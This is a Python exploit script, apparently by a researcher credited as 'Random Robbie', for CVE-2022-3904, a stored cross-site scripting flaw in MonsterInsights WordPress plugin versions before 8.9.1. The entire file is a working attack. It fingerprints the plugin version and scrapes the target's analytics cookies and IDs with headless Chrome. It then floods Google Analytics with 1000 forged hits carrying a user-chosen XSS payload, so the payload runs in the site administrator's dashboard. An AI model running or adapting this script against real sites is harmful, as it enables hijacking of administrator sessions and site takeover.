#!/usr/bin/env python3 # # Vulnerability: CVE-2022-3904 MonsterInsights < 8.9.1 - Stored Cross-Site Scripting via Google Analytics # # Vuln Version Download: https://downloads.wordpress.org/plugin/google-analytics-for-wordpress.8.8.2.zip # # By Random Robbie # # import time from selenium import webdriver from selenium.webdriver.chrome.options import Options import re import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import urllib.parse import argparse session = requests.Session() options = Options() options.add_argument('--headless=new') options.add_argument('--disable-extensions') options.add_argument('--disable-gpu') options.add_argument('--no-sandbox') driver = webdriver.Chrome(options=options) def version_check(url): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'} plugin_url = ""+url+"/wp-content/plugins/google-analytics-for-wordpress/readme.txt" response = requests.get(plugin_url, headers=headers,verify=False,timeout=30) if response.status_code == 200: content = response.text version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None) if version_line: version = version_line.split(':')[1].strip() if version >= '8.9.1': print("The plugin version is 8.9.1 or above.") exit() else: print("The plugin version is below 8.9.1.") print("The plugin version is "+version+"") return version else: print("Failed to find the version information in the readme.txt file.") exit() else: print("Plugin not installed") exit() def get_tid1(body): # Use regex to extract the ID from the script tag id_pattern = re.compile(r'id=(G-\w+)') match = id_pattern.search(body) # Check if a match was found if match: # Print the Google Tag Manager ID gtm_id = match.group(1) return gtm_id else: return None def get_tid2(gtm_id): paramsGet = {"id":"GTM-"+gtm_id+""} headers = {"Te":"trailers","Accept":"*/*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0","Referer":url,"Sec-Fetch-Dest":"script","Sec-Fetch-Site":"cross-site","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Sec-Fetch-Mode":"no-cors"} response = session.get("https://www.googletagmanager.com/gtm.js", params=paramsGet, headers=headers) match = re.search('vtp_measurementId":"(\w+)', response.text) if match: tid_id = match.group(1) return tid_id else: raise ValueError('No tid ID found in response') def smash_it(gtm_id,url,tid,sid,payload,cookie_id): for i in range(1000): paramsGet = {"gtm":gtm_id,"sct":"3","dl":""+url+"/?s=iamnothere","en":"page_view","tid":tid,"sid":sid,"dt":payload,"_p":"1228323007","_s":i,"seg":"0","v":"2","ul":"en-us","ngs":"1","_ss":"1","cid":cookie_id,"sr":"3840x1080"} headers = {"Origin":url,"Te":"trailers","Accept":"*/*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0","Referer":url,"Sec-Fetch-Dest":"empty","Sec-Fetch-Site":"cross-site","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Sec-Fetch-Mode":"no-cors"} response = session.post("https://region1.google-analytics.com/g/collect", params=paramsGet, headers=headers) if response.status_code == 204: print("Request sent with payload - request number "+str(i)+"") print("Requests all sent it can take over 24 hours for the admin to be exploited.") def get_gtm(body): match = re.search(r'GTM-(\w+)', body) if match: gtm_id = match.group(1) return gtm_id else: gtm_id = "45je37a0" return gtm_id def get_cookie_id(cookies): try: for cookie in cookies: if cookie["name"] == "_ga": cookie_id = cookie["value"] cookie_id = cookie_id.replace("GA1.","") return cookie_id except: print("Unable to obtain the _ga cookies Value") exit() def get_cookie_sid(cookie_id): try: sid = cookie_id.split(".") sid_value = sid[1] except IndexError: print("Unable to obtain the cookie_sid cookies Value") return Non return sid_value parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", required=True, default="http://wordpress.lan",help="URL of wordpress site to exploit") parser.add_argument("-p", "--payload", required=True, default="",help="Payload to Execute ensure it's an xss") args = parser.parse_args() url = args.url payload = args.payload encoded_payload = urllib.parse.quote(payload) version_check(url) driver.get(""+url+"/testinghere/") time.sleep(5) cookies = driver.get_cookies() cookie_id = get_cookie_id(cookies) sid = get_cookie_sid(cookie_id) gtm_id = get_gtm(driver.page_source) tid = get_tid1(driver.page_source) if tid == None: tid = get_tid2(gtm_id) driver.quit() smash_it(gtm_id,url,tid,sid,payload,cookie_id)